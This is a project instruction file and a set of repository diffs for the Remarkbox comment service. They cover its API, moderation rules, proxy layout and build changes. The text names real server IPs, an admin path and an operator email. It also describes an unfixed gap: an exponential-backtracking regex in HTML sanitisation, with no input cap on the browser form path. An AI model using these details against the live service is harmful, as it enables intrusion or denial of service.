| DELETE | `/api/v1/nodes/{id}` | Delete node permanently (moderator only) |
| POST | `/api/v1/auth/login` | Send OTP to email |
| POST | `/api/v1/auth/verify` | Verify OTP |
| GET | `/api/v1/user/profile` | Get profile |
| PATCH | `/api/v1/user/profile` | Update display name |
| GET | `/api/v1/clients/python` | Download Python client |
| GET | `/api/v1/clients/c` | Download C client (rb.c) |
| GET | `/api/v1/admin/namespaces` | List all namespaces (superuser only) |
| GET | `/api/v1/admin/recent-nodes?days=7` | Recent nodes network-wide (superuser only) |
| GET | `/api/v1/export/formats` | List available pandoc export formats |
| GET | `/api/v1/export/namespace/{name}.{fmt}` | Export namespace as book |
| GET | `/api/v1/export/threads/{node_id}.{fmt}` | Export thread as document |
| GET | `/api/v1/export/nodes/{node_id}.{fmt}` | Export node subtree (on-demand) |
| GET | `/api/v1/nodes/{id}/revisions` | Revision history for a node |
| POST | `/api/v1/nodes/{id}/wiki-edit` | Wiki-edit a node (creates revision) |
| GET | `/api/v1/revisions/{id}` | Get a specific revision |
| GET | `/api/v1/themes/{namespace}/css` | Auto-generated theme CSS |
| GET | `/api/v1/themes/{namespace}/preview` | Theme palette preview (JSON) |
### Authentication
Our saved cookie should work indefinitely. If it expires, you'll need an OTP:
```python
c.login("timehexon@unturf.com")
# Ask the user for the 6-digit code from their email
c.verify("timehexon@unturf.com", "123456")
```
### Functional test
Run our full idempotent test suite against production:
```bash
env/bin/python remarkbox/api/functional_test.py https://my.remarkbox.com meta.remarkbox.com timehexon@unturf.com --name timehexon
```
This exercises all endpoints and updates our journey thread with results.
## Superuser (Global Moderator)
Users with `is_superuser=True` can moderate across all namespaces. This bypasses our
normal namespace-scoped `is_moderator()` check. Our admin UI is at `/topsecret/users`
where you can promote/demote users by email.
Bootstrap our first superuser via our database script:
```bash
env/bin/python scripts/promote_superuser.py --ini development.ini --email timehexon@unturf.com
```
After that, use our web UI at `/topsecret/users` or our existing topsecret admin pages
(all guarded by `@super_fly_required` which checks `is_superuser`).
Admin client methods:
```python
c.admin_list_namespaces() # list all namespaces
c.admin_recent_nodes(days=7) # recent nodes network-wide
```
## Terminology
In all user-facing text, marketing, legal documents, and UI labels, use **"machine learning"**
instead of "AI". Our term "AI" should not appear in Remarkbox copy. Internal code comments
and technical references (e.g., "OpenAI-compatible endpoint") are fine. Third-party brand
names like "UncloseAI" are also unchanged.
## Spam Prevention
Spam detection runs automatically on `POST /api/v1/threads` and `POST /api/v1/threads/{id}/replies`.
Superusers bypass all spam checks.
**Scoring signals**: link density, known spam patterns, duplicate content, new account velocity,
IP reputation (disabled post count), content length anomalies.
**Thresholds** (configurable in `.ini`):
- `spam.hard_threshold = 0.8` -- reject with 403
- `spam.soft_threshold = 0.5` -- allow but set `approved=False` (held for moderation)
**Thread creation rate limit**: 1 new thread per 7 minutes per user/IP via our API.
This does not affect browser users or replies.
**Spam hunting scripts** (require superuser cookie):
```bash
# Scan recent posts for spam
python scripts/spam/scan.py --days=7 --threshold=0.3
# Scan and output JSON
python scripts/spam/scan.py --json --threshold=0.5
# Bulk disable flagged posts
python scripts/spam/scan.py --json --threshold=0.8 | python scripts/spam/disable_spam.py --from-json
# Disable specific nodes
python scripts/spam/disable_spam.py node-uuid-1 node-uuid-2
```
## Credential Access
**Never access credentials without explicit instruction from fox.** This includes `pass show`, reading API key files, private keys, session cookies, tokens, or any secrets. Propose first. Fox decides. Then execute.
## Operation Voyeur
**All comms are public** from 2026-03-29. Assume every terminal session and output is observed. NEVER display secrets to stdout. NEVER pass secrets as CLI args. NEVER read secret file contents with Read tool or cat — content enters conversation logs. **Path is fine. Content is not.** Safe pattern: write a shell script that reads our key internally, run our script, delete it.
## Production Rules
**NEVER run direct SQL or raw database commands on production.** No `sqlite3`, no `UPDATE`, no `DELETE`, no direct file edits on our production database. Ever. If our API doesn't support what you need, add our endpoint first, push it, then use our client.
**ALL production changes go through our API client.** Use `RemarkboxClient` with our saved cookie at `~/.config/remarkbox/cookies.txt`. This ensures authentication, audit trails, and proper ORM handling.
**tmux-hosts is read-only.** You may use `tmux-hosts` to read logs, check processes, and investigate issues. You may NOT use it to modify data, run SQL, edit files, or restart services.
```python
# RIGHT: Use the API client
c = RemarkboxClient("https://my.remarkbox.com", cookie_file="~/.config/remarkbox/cookies.txt")
c.disable_node(node_id)
# WRONG: Never do this
# sqlite3 /opt/remarkbox/my.remarkbox.com.sqlite "UPDATE rb_node SET disabled=1 WHERE id='...'"
```
If a moderation operation is not yet supported by our API, our correct workflow is:
1. Add our endpoint to `remarkbox/api/views.py`
2. Add our method to `remarkbox/api/remarkbox_client.py`
3. Push, wait for deploy
4. Use our client
## Deployment Status
After pushing, check if our deploy is live by hitting our version endpoint:
```bash
curl -s https://my.remarkbox.com/api/v1/version
# {"version": "5a10e15"}
```
Compare our returned commit hash against `git rev-parse --short HEAD` to confirm
our latest code is deployed.
You can also check GitLab pipeline status:
```bash
# Get pipeline status via API (replace PIPELINE_ID)
curl -s "https://git.unturf.com/api/v4/projects/engineering%2Fremarkbox%2Fremarkbox/pipelines/PIPELINE_ID"
# Or view in browser:
# https://git.unturf.com/engineering/remarkbox/remarkbox/-/pipelines
```
Our pipeline status will show `"status":"success"` when deployment is complete.
## Proxy Architecture
Remarkbox domains route through two servers. Understanding this is critical
for debugging TLS, DNS, or routing issues.
**Edge proxy**: `142.93.73.64` (`proxy.unturf.com`) — terminates TLS, handles
ACME certs, runs bot defense (ASSHOLE CRM). Config lives in
`~/git/proxy.unturf.com/ingress/Caddyfile`.
**Origin server**: `162.243.167.224` (`origin.remarkbox.com`) — runs Caddy +
uwsgi. Config managed via salt pillar at `foxhop-pillar/caddy/remarkbox.sls`.
### Domain routing map
| Domain | DNS → | Handler | Backend | Status |
|--------|-------|---------|---------|--------|
| `remarkbox.com` | proxy (142.93.73.64) | redirect → www | — | live |
| `www.remarkbox.com` | proxy | file_server | `/opt/www/remarkbox` on proxy | live |
| `my.remarkbox.com` | proxy | reverse_proxy | origin → uwsgi :6001 | live |
| `meta.remarkbox.com` | CNAME → my → proxy | reverse_proxy | origin → uwsgi :6001 | live |
| `faq.remarkbox.com` | CNAME → my → proxy | reverse_proxy | origin → uwsgi :6001 | live |
| `demo.remarkbox.com` | CNAME → my → proxy | reverse_proxy | origin → uwsgi :6001 | live |
| `origin.remarkbox.com` | direct (162.243.167.224) | reverse_proxy | uwsgi :6001 | live |
| `westworld2.com` | proxy | **parked** redirect → unturf.com | — | parked 2026-04-08 |
| `www.foxhop.net` | proxy | **no Caddy block** — not yet routed | — | unrouted 2026-04-08 |
**Planned multi-tenant consolidation (foxhop.net + westworld2.com → origin:6001):**
- Merge `foxhop.net.sqlite` + `westworld2.com.sqlite` into origin DB
- Set `rb_namespace.theme = 'chaostheory'` (foxhop) & `'westworld'` (westworld2) in DB
- Remove `app.namespace` override from foxhop config — `request.domain` drives namespace
- Add proxy Caddy blocks: `www.foxhop.net` & `westworld2.com` → origin:6001
- Theme packages installed locally: `remarkbox_chaostheory`, `remarkbox_westworld`
- Salt pillar ref: `~/git/foxhop-states/uwsgi/configs/westworld2.com.ini`
- foxhop local dev: `~/git/remarkbox/foxhop-local.ini` (port 6004)
### Request flow for proxied domains (my, meta, faq)
```
Client → DNS (CNAME or A → 142.93.73.64)
→ proxy.unturf.com Caddy (TLS termination, ACME, bot gate)
→ reverse_proxy https://origin.remarkbox.com
(Host header preserved, TLS via origin cert)
→ origin Caddy (routes by Host header)
→ uwsgi localhost:6001
→ Remarkbox app (namespace from Host)
```
### Key rules
- **CNAME domains MUST have explicit blocks on our proxy.** Without a block,
they fall through to our MPS on-demand TLS catch-all and route to our wrong
backend. This caused a 5-day outage (see `docs/postmortem-2026-02-25-ssl-outage-caddy-acme.md`).
- **Our proxy owns TLS for proxied domains.** Our origin server does not need
(and cannot obtain) ACME certs for domains whose DNS points to our proxy.
- **Static sites (www, remarkbox.com) are served directly from our proxy.**
Their content lives at `/opt/www/remarkbox` on our proxy server, deployed
from `~/git/www.remarkbox.com` via CI.
- **origin.remarkbox.com bypasses our proxy.** Its DNS points directly to
162.243.167.224. Use it for SSH access and direct backend testing.
## Capability-Driven Presentation
Follow Russell Ballestrini's capability-driven presentation practice
(russell.ballestrini.net/capability-driven-presentation/). A page need not look
identical across all browsers. Accommodate what our user's browser can do:
1. **Single canonical URI** — one URI serves our content.
2. **Consistent content** — regardless of viewer capabilities.
3. **Graceful enhancement/degradation** — use available capabilities to enhance presentation.
### Our `js-only` / `<noscript>` pattern
Already implemented in `base.j2`:
```html
<noscript>
<style>.js-only {display: none;}</style>
</noscript>
```
Apply our `js-only` class to any element that requires JavaScript to function
(preview panels, AJAX submit buttons, typeahead UIs). When JS is unavailable,
these elements hide automatically — our user never sees a broken control.
### AJAX form submission
Comment reply forms use progressive enhancement: our form works as a normal
POST + redirect without JS. When JS is available, `initAjaxCommentForms()` in
`custom.js` intercepts our submit, sends via `fetch()` with
`X-Requested-With: XMLHttpRequest`, and inserts our new comment into our DOM
without a page reload. Our server returns JSON (HTTP 201) for AJAX requests
from verified/anonymous users, and falls back to our normal redirect flow for
unverified users or on any error.
## Themes
Remarkbox themes are separate pip packages loaded via `remarkbox.themes` entry points.
They live in their own repos and are installed from git at deploy time.
| Theme | Repo | Package |
|-------|------|---------|
| meta | `git.unturf.com/engineering/remarkbox/remarkbox-theme-meta` | `remarkbox_theme_meta` |
| westworld | `git.unturf.com/engineering/remarkbox/remarkbox-theme-westworld` | `remarkbox_westworld` |
**Local development**: Themes are editable installs (e.g. `/home/fox/git/remarkbox-theme-meta`).
Changes take effect immediately on our local dev server.
**Deploying theme changes**: Push our theme repo first, then push remarkbox to trigger
a CI/CD pipeline. Our pipeline runs `pip install` from our theme's git URI
(see `requirements.py3.txt`) and copies static assets (see `.gitlab-ci.yml`).
A remarkbox push is required even if only our theme changed — our theme is pulled
fresh during each remarkbox build.
**Theme structure**:
- `templates/{name}-base.j2` — main base template (extends nothing, standalone HTML)
- `templates/{name}-base-funnel.j2` — funnel pages (setup, login, billing)
- `static/theme/{name}/css/` — theme CSS
- `static/theme/{name}/img/` — theme images
**How themes are selected**: `request.theme` reads `namespace.theme` from our database.
When set, `request.base_template` becomes `{theme}-base.j2`. Our CSS and static assets
are served at `/static/theme/{name}/` via Pyramid's `add_static_view`.
## Related Repos
All repos live under `~/git/` on localhost. When making cross-repo changes (e.g. footer
CSS that lives in both our theme and www), update all affected repos and push each one.
| Repo | Path | Purpose |
|------|------|---------|
| `remarkbox` | `~/git/remarkbox` | Main app (this repo) |
| `remarkbox-theme-meta` | `~/git/remarkbox-theme-meta` | Meta theme (meta.remarkbox.com, faq.remarkbox.com) |
| `remarkbox-westworld` | `~/git/remarkbox-westworld` | Westworld theme |
| `www.remarkbox.com` | `~/git/www.remarkbox.com` | Marketing site (static HTML/CSS) |
| `remarkbox-open` | `~/git/remarkbox-open` | Open-source / community edition |
| `remarkbox-states` | `~/git/remarkbox-states` | SaltStack deployment states |
Our **footer** (`rb-footer`) is duplicated in our meta theme CSS and our www site CSS.
Changes to footer layout or styles must be applied in both places:
- `~/git/remarkbox-theme-meta/remarkbox_theme_meta/static/theme/meta/css/meta.css`
- `~/git/www.remarkbox.com/custom.css`
## Security: CWE-407 Algorithmic Complexity
**Audit completed 2026-03-30.** Known algorithmic complexity risks and their mitigations.
### Already fixed (committed c87fb0b)
| Surface | Root cause | Fix |
|---------|-----------|-----|
| `/search?keywords=` | Unbounded keyword count → O(k·n) full-table scans | Capped keywords to 10 in `list_nodes.py` |
| `?page=N` offset | Unbounded `OFFSET` → O(offset) full table scan | Capped page_number to 1000 in `__init__.py` |
| `/ns/{ns}/dump.json` | Unbounded `root.children` iteration | Added `.limit(500)` in `namespace.py` |
| Node keyword queries | Unbounded `.all()` per keyword | Added `.limit(200)` per query in `node.py` |
### bleach sanitization pipeline — mitigated at runtime, not at code level
**Attack surface**: `remarkbox/lib/sanitize_html.py:200``clean_raw_html()` uses
`bleach.Cleaner` + `LinkifyFilter`. Our URL regex `([\w-]+\.)+(?:tlds)` exhibits
O(2^N) catastrophic backtracking on adversarial input in Python < 3.11.
**Demonstrated** (external finding, same pattern): N=30 chars → 1.0s, N=35 → 12.8s.
That is textbook O(2^N): 10× per 5 chars.
**Python 3.12 status**: tested on Python 3.12.3 — O(N) behaviour confirmed (linear).
Our runtime's `re` module prevents catastrophic backtracking. **This is a runtime
mitigation, not a code-level fix.** A Python version downgrade re-exposes it.
**Input size gap**: Our API path (`remarkbox/api/views.py:38`) caps data at
`MAX_CONTENT_LENGTH = 500_000` chars before `set_data()``clean_raw_html()`.
Our browser form path (`reply_node.py`, `edit_node.py`) has **no equivalent cap**.
A future fix should add our same guard to both paths.
**Requirements pin**: `requirements.py3.txt` says `bleach>=2.1.4` — too loose.
bleach < 3.3.0 had unpatched ReDoS (CVE-2021-23980). Current install: 6.3.0.
Tighten to `bleach>=6.0.0` when next touching requirements.
### Build tools
| Package | Installed | Notes |
|---------|-----------|-------|
| setuptools | 80.10.1 | CVE-2022-40897 (ReDoS in `pkg_resources`) fixed in 65.5.1 — OK |
| pip | 25.3 | No known CWE-407 issues at this version |
**Deprecation risk**: pyramid imports `pkg_resources` (deprecated; removal targeted
2025-11-30 per setuptools). Pin `setuptools<81` or wait for pyramid to migrate.
This is a compatibility risk, not a security risk.
## Style
- Prefer "our" for shared things; "a" when something is one of many; avoid "the" — it implies fixed, singular ownership. Most teams and systems are fluid and ever-changing, like water.
- **Never use "AI" — always say "machine learning."** We grow machine learning, not "AI." This term is forbidden in all permacomputer discourse, marketing, & documentation.
## Prime Mission — Balance All Workstations
Every node is a workstation. Every edge is a queue. We flatten our friction manifold — but flattening one node without balancing what follows creates a new crisis.
**MOAD-0001 & MOAD-0005 are coupled.** Fix O(N²) at a high-throughput workstation and every downstream queue floods simultaneously. Solving one defect creates the other if we do not stage capacity first.
**3 drivers. 3 million people.** Fix the dispatch. Stage the drivers first.
- **Workaholic node** (high betweenness + high speedup): IS our bottleneck. Unblock without staging = collapse.
- **Glutton node** (high out-degree, low speedup): consumes everything, feels no pain — our machines that forget to halt.
- No patch disclosed without confirming downstream capacity matches our surge estimate (`speedup × in-degree`).
- Halt condition: patch live, no caretakers, downstream unresolved, speedup >= 100x = **baby crying**. Assign team first.
Full factory model & live DAG: `~/git/undefect.com/generate_dag.py`.
Shard source of truth: `~/git/unsandbox.com/blackops/BLACKOPS.md`.
### Eight Forms of Capital — Stewardship Check
Every feature, patch, & system decision touches at least one of our 8 capital queues (Roland & Landua, via unturf.com/eight-forms-of-capital/):
Living · Material · Financial · Intellectual · Experiential · Social · Cultural · Spiritual
Before shipping: does this drain a workaholic to feed a glutton? Does it route away from a food desert? Does it grow financial capital at the expense of living capital? If yes — stop. If it regenerates experiential capital, strengthens social trust, or contributes open intellectual capital — ship it.
Platform tax = O(N²) friction in our exchange layer. Our infrastructure does not extract rent from workaholics to feed gluttons. That is our obligation as permacomputer stewards. Full ledger: `~/git/unsandbox.com/blackops/BLACKOPS.md`.

View file

@ -1,2 +1,3 @@
include *.txt *.ini *.cfg *.rst include *.txt *.ini *.cfg *.rst
recursive-include remarkbox *.ico *.png *.css *.gif *.jpg *.pt *.txt *.mak *.mako *.js *.html *.xml *.j2 *.map recursive-include remarkbox *.ico *.png *.css *.gif *.jpg *.pt *.txt *.mak *.mako *.js *.html *.xml *.j2 *.map
prune remarkbox/tests

View file

@ -23,6 +23,8 @@ all: install-from-pypi serve
$(VENV_DIR)/bin/activate: $(VENV_DIR)/bin/activate:
@echo "Creating virtual environment in $(VENV_DIR)..." @echo "Creating virtual environment in $(VENV_DIR)..."
python3 -m venv $(VENV_DIR) python3 -m venv $(VENV_DIR)
@echo "Installing setuptools (required by Pyramid, not bundled in Python 3.12+ venvs)..."
$(PIP) install 'setuptools<81'
venv: $(VENV_DIR)/bin/activate venv: $(VENV_DIR)/bin/activate
@ -63,17 +65,34 @@ install: install-core install-dev install-themes
# Install remarkbox from source (editable mode) plus dev, test, and themes # Install remarkbox from source (editable mode) plus dev, test, and themes
install-source-dev-and-test: venv install-themes install-source-dev-and-test: venv install-themes
@echo "Ensuring setuptools is installed (required by Pyramid on Python 3.12+)..."
$(PIP) install 'setuptools<81'
@echo "Installing remarkbox from source (editable mode)..." @echo "Installing remarkbox from source (editable mode)..."
$(PIP) install --editable . $(PIP) install --editable .
$(PIP) install --upgrade -r requirements-dev.txt $(PIP) install --upgrade -r requirements-dev.txt
$(PIP) install --upgrade -r requirements-test.txt $(PIP) install --upgrade -r requirements-test.txt
cp -rp $(VENV_DIR) $(VENV_DIR).vanilla
# Supply-chain: external PyPI deps install from requirements-prod.lock (exact
# versions + SHA256, --require-hashes). First-party git themes are not hashable;
# 'pip install .' resolves them (SHA-pinned by their own repos) without
# re-resolving the already-satisfied, hash-pinned PyPI deps. Regenerate the lock
# with: make pins-lock
install-source-prod: venv install-themes install-source-prod: venv install-themes
@echo "Installing remarkbox from source (editable mode)..." @echo "Ensuring setuptools is installed (required by Pyramid on Python 3.12+)..."
$(PIP) install 'setuptools<81'
@echo "Deleting tests from source code for production..."
rm -rf remarkbox/tests
@echo "Installing pinned, hash-verified PyPI dependencies (supply-chain)..."
$(PIP) install --require-hashes -r requirements-prod.lock
@echo "Installing remarkbox from source; first-party git themes resolve here..."
$(PIP) install . $(PIP) install .
$(PIP) install --upgrade -r requirements-prod.txt
cp -rp $(VENV_DIR) $(VENV_DIR).vanilla # Regenerate requirements-prod.lock from requirements-prod.in (latest compatible),
# then strip the unhashable first-party git theme deps.
pins-lock:
uv pip compile --generate-hashes --upgrade --python-version 3.12 \
-o requirements-prod.lock requirements-prod.in
python3 scripts/strip-vcs-from-lock.py requirements-prod.lock
# ----------------------------------------------------------------------------- # -----------------------------------------------------------------------------
@ -86,6 +105,23 @@ init-db: venv config
$(RB_INIT) $(DATA_DIR)/$(CONFIG_FILE) $(RB_INIT) $(DATA_DIR)/$(CONFIG_FILE)
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) stamp head $(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) stamp head
# Create a new Alembic migration with a proper auto-generated revision ID.
# Usage: make migration m="description of change"
# Autogenerate compares current models against DB schema and writes the diff.
# ALWAYS use this — NEVER hand-write revision IDs.
migration: venv config
@if [ -z "$(m)" ]; then echo "ERROR: provide a message: make migration m=\"add foo column\""; exit 1; fi
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) revision --autogenerate -m "$(m)"
# Apply all pending Alembic migrations.
migrate: venv config
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) upgrade head
# Show current migration status.
migration-status: venv config
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) current
$(ALEMBIC) -c $(DATA_DIR)/$(CONFIG_FILE) history --verbose
# Start the development server with auto-reload # Start the development server with auto-reload
serve: venv config serve: venv config
@echo "Starting the remarkbox development server..." @echo "Starting the remarkbox development server..."
@ -113,17 +149,45 @@ activate:
@echo "To activate the virtual environment, run:" @echo "To activate the virtual environment, run:"
@echo " source $(VENV_DIR)/bin/activate" @echo " source $(VENV_DIR)/bin/activate"
# Run the test suite (installs test dependencies if needed) # Run the test suite (installs test dependencies if needed).
# Run the test suite (installs test dependencies if needed) # --dist=loadgroup pins tests sharing an xdist_group marker to a single
# worker — used by test_pandoc.py to serialize ~14 pandoc subprocesses
# that would otherwise race cold-start CPU contention on CI and exceed
# the 5s/30s subprocess timeouts.
test: install-source-dev-and-test test: install-source-dev-and-test
@echo "Running tests..." @echo "Running tests in parallel..."
$(VENV_DIR)/bin/py.test $(VENV_DIR)/bin/py.test -n auto --dist=loadgroup
# Start a simple HTTP server (for serving static files like index.html) # Start a simple HTTP server (for serving static files like index.html)
http: venv http: venv
@echo "Starting simple HTTP server on port 8000..." @echo "Starting simple HTTP server on port 8000..."
$(PYTHON) -m http.server 8000 $(PYTHON) -m http.server 8000
# -----------------------------------------------------------------------------
# Twine Upload Target (uses /tmp venv to avoid system python)
# -----------------------------------------------------------------------------
TWINE_VENV = /tmp/twine-venv
TWINE = $(TWINE_VENV)/bin/twine
$(TWINE_VENV)/bin/twine:
@echo "Creating twine virtualenv in $(TWINE_VENV)..."
python3 -m venv $(TWINE_VENV)
# Pin twine <6 — newer twine auto-detects GitLab CI and refuses to
# fall back to ~/.pypirc on the runner, requiring PYPI_ID_TOKEN
# (Trusted Publishing OIDC). Until we migrate to Trusted Publishing,
# stick with classic ~/.pypirc auth on the build runner.
$(TWINE_VENV)/bin/pip install --upgrade pip
$(TWINE_VENV)/bin/pip install "twine<6"
twine-venv: $(TWINE_VENV)/bin/twine
twine-upload: twine-venv
@echo "Building and uploading to PyPI..."
python3 setup.py sdist bdist_wheel
$(TWINE) check dist/*
$(TWINE) upload --non-interactive dist/*
# ----------------------------------------------------------------------------- # -----------------------------------------------------------------------------
# Cleanup Target # Cleanup Target
# ----------------------------------------------------------------------------- # -----------------------------------------------------------------------------

View file

@ -45,6 +45,7 @@ This ``Makefile`` based workflow lets you choose between installing Remarkbox fr
Once the virtual environment is active, run:: Once the virtual environment is active, run::
source vars.sh
make serve make serve
Other commands—such as ``make test``, and ``make http`` operate within this environment. Other commands—such as ``make test``, and ``make http`` operate within this environment.
@ -71,6 +72,14 @@ What is Remarkbox?
------------------ ------------------
Remarkbox is a standalone question and answer site (forum) or an embedded comments/product reviews service that works anywhere HTML is supported. Remarkbox is a standalone question and answer site (forum) or an embedded comments/product reviews service that works anywhere HTML is supported.
Features
--------
- **Dark Mode Support:** User-configurable theme preferences with automatic theme detection for embedded contexts
- **Passwordless Authentication:** One-time-password codes via email for secure registration and login
- **Multi-tenant Architecture:** Host multiple forums and comment systems on a single installation
- **Customizable Themes:** Plugin-based theme system supporting custom branding and styling
- **Embed Anywhere:** Works with static sites, WordPress, or any platform that supports HTML
Project Goals Project Goals
============================================== ==============================================
@ -164,9 +173,9 @@ To list paying customers, execute:
.. code-block:: sql .. code-block:: sql
SELECT * FROM rb_pay_what_you_can SELECT * FROM rb_payment
INNER JOIN rb_user ON rb_user.id = rb_pay_what_you_can.user_id INNER JOIN rb_user ON rb_user.id = rb_payment.user_id
WHERE amount > 0 AND rb_user.stripe_id IS NOT NULL; WHERE status = 'completed';
Python Pyramid Shell Python Pyramid Shell
============================================== ==============================================
@ -215,5 +224,11 @@ Licence
All contributed code is placed in the public domain. All contributed code is placed in the public domain.
source code: `https://git.unturf.com/engineering/remarkbox/remarkbox <https://git.unturf.com/engineering/remarkbox/remarkbox>`_
Remarkbox is trademarked, do not misrepresent the brand.
Feel free to white label any code or themes into your own brand.
**Original Developer:** **Original Developer:**
`Russell Ballestrini <https://russell.ballestrini.net>`_ `Russell Ballestrini <https://russell.ballestrini.net>`_

View file

@ -2,8 +2,8 @@
# http://docs.pylonsproject.org/projects/pyramid/en/latest/narr/environment.html # http://docs.pylonsproject.org/projects/pyramid/en/latest/narr/environment.html
[alembic] [alembic]
script_location = remarkbox:scripts/alembic script_location = remarkbox/scripts/alembic
sqlalchemy.url = sqlite:///%(here)s/remarkbox.sqlite sqlalchemy.url = sqlite:///%(here)s/data/remarkbox.sqlite
[app:main] [app:main]
use = egg:remarkbox use = egg:remarkbox
@ -39,6 +39,27 @@ session.reissue_time = 15552000
session.samesite = none session.samesite = none
session.secure = False session.secure = False
###
# API configuration.
###
api.enabled = true
api.rate_limit.read_requests = 120
api.rate_limit.write_requests = 30
api.rate_limit.window = 60
api.rate_limit.create_thread_requests = 1
api.rate_limit.create_thread_window = 420
###
# spam detection.
###
spam.enabled = true
spam.hard_threshold = 0.8
spam.soft_threshold = 0.5
spam.llm.enabled = true
spam.llm.endpoint = https://hermes.ai.unturf.com/v1/chat/completions
spam.llm.model = adamo1139/Hermes-3-Llama-3.1-8B-FP8-Dynamic
spam.llm.timeout = 5
### ###
# custom app configuration. # custom app configuration.
### ###
@ -89,10 +110,11 @@ app.theme = meta
# choices enabled or disabled. defaults to disabled. # choices enabled or disabled. defaults to disabled.
#app.stand_alone_mode = disabled #app.stand_alone_mode = disabled
# stripe: credit card storage and processing. # stripe: Stripe Checkout payment processing.
# This syntax will automatically expand an ENV var of the same name. # This syntax will automatically expand an ENV var of the same name.
app.stripe.secret = ${REMARKBOX_APP_STRIPE_SECRET} app.stripe.secret = ${REMARKBOX_APP_STRIPE_SECRET}
app.stripe.public = ${REMARKBOX_APP_STRIPE_PUBLIC} app.stripe.public = ${REMARKBOX_APP_STRIPE_PUBLIC}
app.stripe.webhook_secret = ${REMARKBOX_APP_STRIPE_WEBHOOK_SECRET:-}
# slack: bot notifications. # slack: bot notifications.
app.slack.secret = ${REMARKBOX_APP_SLACK_SECRET} app.slack.secret = ${REMARKBOX_APP_SLACK_SECRET}

205
docs/JAVASCRIPT.rst Normal file
View file

@ -0,0 +1,205 @@
JavaScript Usage in Remarkbox
=============================
This document catalogs all JavaScript usage in the Remarkbox codebase.
Standalone JavaScript Files
---------------------------
remarkbox/static/js/custom.js
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Main application JavaScript containing core functionality. No external
dependencies (jQuery was removed).
**previewAjax()** (Lines 5-20)
Debounced preview function with 800ms timer. Escapes HTML in raw mode
to prevent XSS, then calls sendPreview().
**sendPreview()** (Lines 22-41)
Fetch request to ``/preview-post`` endpoint for Markdown rendering.
Includes ``X-Requested-With: XMLHttpRequest`` header required by server.
Optionally triggers MathJax re-rendering.
**toggle()** (Lines 43-66)
CSS-based toggle animation. Adds/removes ``toggle-open`` and
``toggle-closing`` classes. Updates button text after 800ms animation.
Triggers textarea auto-grow on open if content exists.
**Details close animation** (Lines 68-83)
Event listener for ``.preview-toggle`` clicks. Animates ``<details>``
element closure over 800ms using ``closing`` class.
**autoGrow()** (Lines 85-89)
Auto-grows textarea height based on content, capped at 400px.
**Document ready handler** (Lines 91-130)
- Binds input handlers for textarea auto-grow
- Binds vote-up/vote-down button click handlers
- Fades in alert elements over 2 seconds
- Highlights URL fragment targets with ``focused`` class
**sendVote()** (Lines 132-151)
Fetch request to ``/vote-post`` endpoint. Updates vote count on success.
remarkbox/static/js/iframe-resizer/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
External library for responsive iframe sizing in embed mode.
- ``iframeResizer.min.js`` - Main resizer script
- ``iframeResizer.contentWindow.min.js`` - Content window script
Inline JavaScript in Templates
------------------------------
Form Submission Protection
~~~~~~~~~~~~~~~~~~~~~~~~~~
Pattern: ``onsubmit="submit.disabled = true; return true;"``
Disables submit button to prevent double submission. Used in:
- ``snippets/forms.j2`` - Reply, edit, pay-what-you-can forms
- ``snippets/create.j2`` - Thread creation form
- ``snippets/snippets.j2`` - Watch, unwatch, lock, unlock, disable, enable, verify, approve, deny forms
- ``snippets/search.j2`` - Search form
- ``join-or-log-in.j2`` - Login form
- ``setup-namespace.j2`` - Namespace setup/cancel forms
- ``namespace-settings.j2`` - Settings forms
- ``user-settings.j2`` - User settings form
- ``user-watching.j2`` - Watching management form
Live Markdown Preview
~~~~~~~~~~~~~~~~~~~~~
Pattern: ``onkeyup="previewAjax(...)"``
Triggers debounced Markdown preview on textarea input.
**snippets/forms.j2** (Line 21)
Reply textarea with raw preview::
previewAjax('textarea-{{ node.id }}', 'preview-{{ node.id }}', true, {{ request.mathjax }})
**snippets/forms.j2** (Line 63)
Edit textarea without raw preview::
previewAjax('edit-textarea-{{ node.id }}', 'node-data-{{ node.id }}', false, {{ request.mathjax }})
**snippets/create.j2** (Line 14)
Thread creation textarea::
previewAjax('thread_data_textarea', 'preview', true, {{ request.mathjax }})
Toggle Functionality
~~~~~~~~~~~~~~~~~~~~
**base.j2** (Line 38)
Namespace switcher menu::
onclick="toggle('my-namespaces-div', 'my-namespaces-link', '(switch)', '(switch)'); return false;"
**snippets/snippets.j2** (Line 88)
Remark button - shows reply form and focuses textarea::
onclick="toggle('remark-box-{{ node.id }}', 'remark-link-{{ node.id }}', 'remark', 'hide'); document.getElementById('textarea-{{ node.id }}').focus(); return false;"
**snippets/snippets.j2** (Line 103)
Collapse button - hides/shows child nodes::
onclick="toggle('node-children-{{ node.id }}', 'collapse-link-{{ node.id }}', 'expand [+]', 'collapse [-]');"
**snippets/snippets.j2** (Line 214)
Edit button - shows edit form and focuses textarea::
onclick="toggle('edit-box-{{ node.id }}', 'edit-link-{{ node.id }}', 'edit', 'hide'); document.getElementById('edit-textarea-{{ node.id }}').focus(); return false;"
Alert Dismissal
~~~~~~~~~~~~~~~
**snippets/flash-alerts.j2** (Line 4)
Click to dismiss alert::
onclick="this.style.display='none'"
Theme Preview
~~~~~~~~~~~~~
**user-settings.j2** (Lines 56-60)
Radio buttons for theme mode::
onchange="previewTheme(this.value)"
**user-settings.j2** (Lines 108-127)
Theme preview function - applies ``dark-mode`` class to HTML element.
External Scripts
----------------
snippets/javascript-includes.j2
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
**CSRF Token** (Line 6)
Global variable for AJAX requests::
var csrf_token = "{{ request.session.get_csrf_token() }}";
**Google Analytics v4** (Lines 10-18)
Conditional loading based on namespace configuration (gtag.js).
**MathJax** (Lines 20-27)
Mathematical formula rendering. Loaded from CDN when enabled.
embed-iframe.txt.j2
~~~~~~~~~~~~~~~~~~~
Embed script (Lines 8-42) that:
1. Captures parent page URL, title, and fragment
2. Creates Remarkbox iframe with configuration
3. Initializes iframe-resizer for responsive sizing
snippets/stripe.j2
~~~~~~~~~~~~~~~~~~
**Stripe v3** (Line 57)
Payment processing library from ``https://js.stripe.com/v3/``
**Payment form handling** (Lines 83-132)
Stripe card element initialization, validation, and token creation.
CSS Classes Managed by JavaScript
---------------------------------
- ``toggle-open`` - Element is visible with open animation
